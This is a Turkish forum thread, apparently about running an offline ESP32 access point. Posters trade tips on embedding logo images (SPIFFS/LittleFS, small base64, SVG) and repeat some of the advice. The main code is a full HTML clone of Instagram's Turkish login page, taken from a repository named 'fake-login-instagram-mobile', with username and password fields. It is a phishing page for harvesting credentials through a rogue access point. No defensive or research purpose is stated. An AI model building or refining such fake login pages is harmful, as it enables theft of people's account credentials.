Follow along with the video below to see how to install our site as a web app on your home screen.
Not: This feature may not be available in some browsers.
<img src="/logo.png" />
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA...">
Tanamdir sagol gün içinde deneyip geri dönüs yaparim.Yaşadığın sorun ESP32’nin RAM ve flash sınırlamaları nedeniyle oluyor. Base64 büyük resimleri gömme konusunda sıkıntı çıkarıyor, PNG’leri internetten çekmek de offline AP’de çalışmıyor. Bunu aşmak için birkaç yöntemin var:
Logoları çok küçük boyutlu ve optimize edilmiş yap. 32x32 veya 64x64 px gibi minimal boyutlarda GIF veya BMP kullanabilirsin. BMP dosyaları ESP32’ye gömülebilir ve genellikle Base64 kadar uzun olmaz.
Logoyu PNG yerine SVG formatıyla inline olarak kullanabilirsin. Basit logolar için CSS ile şekiller ve renk blokları oluşturmak da mümkün.
Avantajı: neredeyse sıfır hafıza kullanıyor ve offline çalışıyor.
ESP32’de SPIFFS veya LittleFS Kullanımı
PNG veya küçük resimleri dosya sistemi içine koy.
HTML’de:
ESP32 web sunucusu dosyayı SPIFFS/LittleFS üzerinden servis eder.HTML:<img src="/logo.png" />
Böylece internet olmadan bile resim gösterilir.
4. Base64 İçin Parçalama
Eğer Base64 kullanmak zorundaysan, dosyayı parçalara böl ve HTML’de birleştir:
Büyük dosyalar tek seferde yüklenmeyecekse, ESP32 flash’a küçük segmentler halinde koyup concat et.HTML:<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA...">
fake-login-instagram-mobile/index.html at main · saxflx/fake-login-instagram-mobile, boyutu 2.8 kb a düşürerek renkleri solsada işe yaradı.Yaşadığın sorun ESP32’nin RAM ve flash sınırlamaları nedeniyle oluyor. Base64 büyük resimleri gömme konusunda sıkıntı çıkarıyor, PNG’leri internetten çekmek de offline AP’de çalışmıyor. Bunu aşmak için birkaç yöntemin var:
Logoları çok küçük boyutlu ve optimize edilmiş yap. 32x32 veya 64x64 px gibi minimal boyutlarda GIF veya BMP kullanabilirsin. BMP dosyaları ESP32’ye gömülebilir ve genellikle Base64 kadar uzun olmaz.
Logoyu PNG yerine SVG formatıyla inline olarak kullanabilirsin. Basit logolar için CSS ile şekiller ve renk blokları oluşturmak da mümkün.
Avantajı: neredeyse sıfır hafıza kullanıyor ve offline çalışıyor.
ESP32’de SPIFFS veya LittleFS Kullanımı
PNG veya küçük resimleri dosya sistemi içine koy.
HTML’de:
ESP32 web sunucusu dosyayı SPIFFS/LittleFS üzerinden servis eder.HTML:<img src="/logo.png" />
Böylece internet olmadan bile resim gösterilir.
4. Base64 İçin Parçalama
Eğer Base64 kullanmak zorundaysan, dosyayı parçalara böl ve HTML’de birleştir:
Büyük dosyalar tek seferde yüklenmeyecekse, ESP32 flash’a küçük segmentler halinde koyup concat et.HTML:<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA...">
Renklerde gözüme çarpan bir kaç detay var.fake-login-instagram-mobile/index.html at main · saxflx/fake-login-instagram-mobile, boyutu 2.8 kb a düşürerek renkleri solsada işe yaradı.
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>Instagram Giriş</title>
<style>
* {
margin: 0; padding: 0; box-sizing: border-box;
font-family: Arial, sans-serif;
color: #262626; /* Genel yazı rengi */
}
body {
background-color: #ffffff; /* Arka plan */
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.container {
display: flex;
gap: 40px;
align-items: center;
}
.phone-mockup img {
width: 380px;
}
.login-box {
background: #fff;
border: 1px solid #ccc; /* Çerçeve gri */
padding: 40px 40px 20px;
width: 350px;
text-align: center;
}
.insta-logo {
width: 175px;
margin: 0 auto 30px;
}
.insta-logo img {
width: 100%;
height: auto;
}
.login-box input {
width: 100%;
padding: 10px;
margin: 6px 0;
border: 1px solid #ccc; /* Çerçeve gri */
border-radius: 4px;
background-color: #fafafa;
font-size: 14px;
color: #262626; /* Yazı rengi */
}
.login-box input:focus {
outline: none;
border-color: #aaa;
}
.login-box button {
width: 100%;
background-color: #0095f6; /* Instagram mavisi */
border: none;
color: #fff;
font-weight: bold;
padding: 10px;
margin-top: 10px;
border-radius: 4px;
cursor: pointer;
}
.login-box button:hover {
background-color: #0077cc; /* Hover mavisi */
}
.divider {
display: flex;
align-items: center;
margin: 20px 0;
}
.divider::before, .divider::after {
content: "";
flex: 1;
height: 1px;
background: #ccc; /* Çerçeve gri */
}
.divider span {
margin: 0 10px;
font-size: 12px;
color: #8e8e8e;
font-weight: bold;
}
.facebook-login {
color: #385185;
font-weight: bold;
text-decoration: none;
display: block;
margin-top: 10px;
}
.forgot {
margin-top: 15px;
font-size: 12px;
color: #00376b;
text-decoration: none;
display: block;
}
.signup-box {
background: #fff;
border: 1px solid #ccc; /* Çerçeve gri */
margin-top: 10px;
padding: 20px;
text-align: center;
font-size: 14px;
}
.signup-box a {
color: #0095f6; /* Instagram mavisi */
font-weight: bold;
text-decoration: none;
}
footer {
margin-top: 40px;
text-align: center;
font-size: 12px;
color: #8e8e8e;
}
</style>
</head>
<body>
<div class="container">
<div class="phone-mockup">
<img src="https://i.imgur.com/H2Rp3S0.png" alt="Instagram Mockup">
</div>
<div>
<div class="login-box">
<!-- Logo -->
<div class="insta-logo">
<img src="https://i.imgur.com/E8zchKk.png" alt="Logo">
</div>
<form>
<input type="text" placeholder="Telefon numarası, kullanıcı adı veya e-posta">
<input type="password" placeholder="Şifre">
<button type="submit">Giriş Yap</button>
<div class="divider"><span>YA DA</span></div>
<a href="#" class="facebook-login">Facebook ile Giriş Yap</a>
<a href="#" class="forgot">Şifreni mi unuttun?</a>
</form>
</div>